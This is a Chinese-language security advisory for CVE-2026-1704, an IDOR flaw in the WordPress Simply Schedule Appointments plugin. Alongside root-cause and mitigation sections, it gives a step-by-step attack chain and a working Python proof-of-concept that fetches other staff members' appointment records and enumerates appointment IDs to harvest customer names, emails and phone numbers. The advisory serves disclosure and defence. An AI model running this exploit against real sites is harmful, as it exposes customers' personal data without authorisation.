IPBUF安全漏洞报告
English
CVE-2026-1704 CVSS 4.3 中危

WordPress Simply Schedule Appointments插件IDOR漏洞导致越权访问预约信息

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-1704
漏洞类型
不安全的直接对象引用(IDOR)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Simply Schedule Appointments Booking Plugin

相关标签

IDOR不安全的直接对象引用WordPress插件漏洞Simply Schedule Appointments越权访问信息泄露CVSS 4.3CVE-2026-1704WordPressREST API漏洞

漏洞概述

WordPress的Simply Schedule Appointments Booking Plugin插件存在一个不安全的直接对象引用(IDOR)漏洞,攻击者可以利用该漏洞访问其他员工的预约记录和客户敏感信息。该漏洞影响插件1.6.9.29及之前的所有版本。由于插件在REST API的权限检查中,仅验证用户是否具有ssa_manage_appointments能力,而未验证用户是否拥有请求的预约记录所有权,导致任何具有该能力的认证用户(如团队成员)都可以通过修改预约ID参数来查看任意预约详情,包括客户的姓名、邮箱、电话等个人信息。此漏洞的CVSS评分为4.3,属于中等严重程度,但由于涉及敏感个人信息泄露,仍需及时修复。

技术细节

该漏洞源于插件的REST API端点中get_item_permissions_check方法的实现缺陷。在WordPress REST API框架中,get_item_permissions_check方法用于控制对单个资源的访问权限。插件错误地实现了该方法,仅检查调用者是否具有ssa_manage_appointments能力,但没有验证请求的预约记录是否属于该用户。攻击者可以通过以下方式利用:1) 使用具有ssa_manage_appointments能力的账户登录WordPress;2) 拦截对插件REST API的请求;3) 修改请求中的appointment ID参数为其他员工的预约ID;4) 成功获取该预约的完整信息,包括客户姓名、邮箱、电话、地址等敏感数据。漏洞代码位于class-appointment-model.php文件的第1348和1436行附近。修复方案需要在get_item_permissions_check方法中添加对预约记录所有权的验证逻辑。

攻击链分析

STEP 1
步骤1: 获取认证
攻击者获取WordPress账户,该账户具有ssa_manage_appointments能力(如团队成员角色)
STEP 2
步骤2: 获取API Nonce
从WordPress页面源码中提取REST API的nonce值用于认证请求
STEP 3
步骤3: 构造恶意请求
修改请求中的appointment ID参数为目标预约ID,该预约属于其他员工
STEP 4
步骤4: 发送请求
向插件REST API端点/wp-json/ssa/v1/appointments/{id}发送GET请求
STEP 5
步骤5: 获取敏感信息
由于IDOR漏洞,系统返回目标预约的完整信息,包括客户姓名、邮箱、电话等PII
STEP 6
步骤6: 枚举攻击
通过自动化脚本遍历不同的预约ID,可批量获取所有员工的预约记录和客户信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-1704 PoC - IDOR in Simply Schedule Appointments Plugin # Target: WordPress site with Simply Schedule Appointments plugin < 1.6.9.30 def exploit_idor(target_url, target_appointment_id, auth_cookie): """ Exploit IDOR vulnerability to access other staff members' appointments Args: target_url: Target WordPress site URL target_appointment_id: ID of appointment to access (can be any valid ID) auth_cookie: WordPress authentication cookie with ssa_manage_appointments capability """ # REST API endpoint for appointment retrieval endpoint = f"{target_url}/wp-json/ssa/v1/appointments/{target_appointment_id}" headers = { 'Cookie': auth_cookie, 'Content-Type': 'application/json', 'X-WP-Nonce': 'YOUR_REST_API_NONCE' # Obtain from page source } print(f"[*] Target: {endpoint}") print(f"[*] Requesting appointment ID: {target_appointment_id}") try: response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print("[+] SUCCESS! Retrieved appointment details:") print(f" Customer Name: {data.get('customer_name', 'N/A')}") print(f" Customer Email: {data.get('customer_email', 'N/A')}") print(f" Customer Phone: {data.get('customer_phone', 'N/A')}") print(f" Appointment Date: {data.get('start', 'N/A')}") return True elif response.status_code == 403: print("[-] Access denied - check permissions") else: print(f"[-] Unexpected response: {response.status_code}") except requests.RequestException as e: print(f"[-] Request failed: {e}") return False # Brute force appointment IDs to find records from other staff def enumerate_appointments(target_url, auth_cookie, start_id=1, end_id=1000): """ Enumerate appointment IDs to discover other staff members' appointments """ print(f"[*] Enumerating appointment IDs from {start_id} to {end_id}") for appt_id in range(start_id, end_id + 1): if exploit_idor(target_url, appt_id, auth_cookie): print(f"[!] Found accessible appointment ID: {appt_id}") if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2026-1704-poc.py <target_url> <appointment_id> <auth_cookie>") print("Example: python cve-2026-1704-poc.py https://example.com 123 'wordpress_logged_in_xxx='") sys.exit(1) target = sys.argv[1] appt_id = int(sys.argv[2]) cookie = sys.argv[3] exploit_idor(target, appt_id, cookie)

影响范围

Simply Schedule Appointments Plugin < 1.6.9.30

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 审查所有具有ssa_manage_appointments能力的用户账户;2) 限制该能力仅授予绝对必要的管理员账户;3) 使用WordPress安全插件监控异常的API请求;4) 考虑暂时禁用插件的REST API功能;5) 加强Web应用防火墙规则,限制对/wp-json/ssa/路径的访问频率;6) 通知可能受影响的用户关于数据泄露风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表